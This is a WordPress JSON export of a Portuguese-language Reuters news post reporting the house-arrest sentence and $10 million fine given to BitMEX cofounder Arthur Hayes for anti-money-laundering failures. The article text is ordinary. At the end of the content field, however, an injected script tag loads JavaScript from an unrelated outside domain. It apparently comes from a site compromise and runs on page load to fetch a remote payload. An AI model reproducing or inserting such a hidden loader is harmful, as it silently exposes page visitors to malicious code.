{"id":1192,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cofundador-da-bitmex-e-condenado-a-prisao-domiciliar-por-lavagem-de-dinheiro-23-05-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"cofundador-da-bitmex-e-condenado-a-prisao-domiciliar-por-lavagem-de-dinheiro-23-05-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cofundador-da-bitmex-e-condenado-a-prisao-domiciliar-por-lavagem-de-dinheiro-23-05-2022\/","title":{"rendered":"Cofundador da BitMEX \u00e9 condenado a pris\u00e3o domiciliar por lavagem de dinheiro &#8211; 23\/05\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>NOVA YORK (Reuters) &#8211; O cofundador e ex-executivo-chefe da corretora de criptomoedas BitMEX foi condenado a seis meses de pris\u00e3o domiciliar ap\u00f3s se declarar culpado de violar a Lei de Sigilo Banc\u00e1rio dos Estados Unidos, disseram promotores.<\/p>\n<p>Arthur Hayes, 36, tamb\u00e9m pagar\u00e1 uma multa de 10 milh\u00f5es de d\u00f3lares e cumprir\u00e1 dois anos de liberdade condicional ap\u00f3s sua pris\u00e3o domiciliar, por n\u00e3o estabelecer um programa de combate \u00e0 lavagem de dinheiro na BitMEX, que ele fundou com Benjamin Delo e Samuel Reed em 2014. Hayes foi condenado no tribunal federal em Manhattan na sexta-feira.<\/p>\n<p>&#8220;Ao criar uma plataforma de criptomoedas que lhe rendeu milh\u00f5es de d\u00f3lares, Arthur Hayes desafiou deliberadamente a lei dos Estados Unidos que exige que as empresas fa\u00e7am sua parte para ajudar na preven\u00e7\u00e3o de crimes e da corrup\u00e7\u00e3o&#8221;, disse Damian Williams, promotor federal de Manhattan, em comunicado.<\/p>\n<p>Os promotores buscaram uma pena de pris\u00e3o &#8220;significativa&#8221;, dizendo que uma multa de 10 milh\u00f5es de d\u00f3lares n\u00e3o foi suficiente para impedir comportamentos semelhantes de outras empresas de criptomoedas. Os advogados de Hayes pediram liberdade condicional, sem pris\u00e3o domiciliar.<\/p>\n<p>Um porta-voz de Hayes se recusou a comentar. Delo e Reed se declararam culpados e aguardam senten\u00e7a. Os tr\u00eas foram acusados \u200b\u200bem 2020 por n\u00e3o implementar um requisito de &#8220;conhe\u00e7a seu cliente&#8221;, conforme exigido pela lei federal.<\/p>\n<p>Os promotores disseram que a BitMEX era &#8220;na verdade uma plataforma de lavagem de dinheiro&#8221; e Hayes n\u00e3o fez nada depois de saber em 2018 das alega\u00e7\u00f5es de que a BitMEX estava sendo usada para lavar os lucros de um hack de criptomoedas.<\/p>\n<p>No ano passado, a BitMEX concordou em pagar at\u00e9 100 milh\u00f5es de d\u00f3lares para encerrar processos por aceitar ilegalmente fundos de clientes para negociar criptomoedas sem ser registrado e n\u00e3o realizar a devida dilig\u00eancia do cliente. <\/p>\n<p>(Por Luc Cohen)<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/reuters\/2022\/05\/23\/cofundador-da-bitmex-e-condenado-a-prisao-domiciliar-por-lavagem-de-dinheiro.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>NOVA YORK (Reuters) &#8211; O cofundador e ex-executivo-chefe da corretora de criptomoedas BitMEX foi condenado a seis meses de pris\u00e3o domiciliar ap\u00f3s se declarar culpado de violar a Lei de Sigilo Banc\u00e1rio dos Estados Unidos, disseram promotores. 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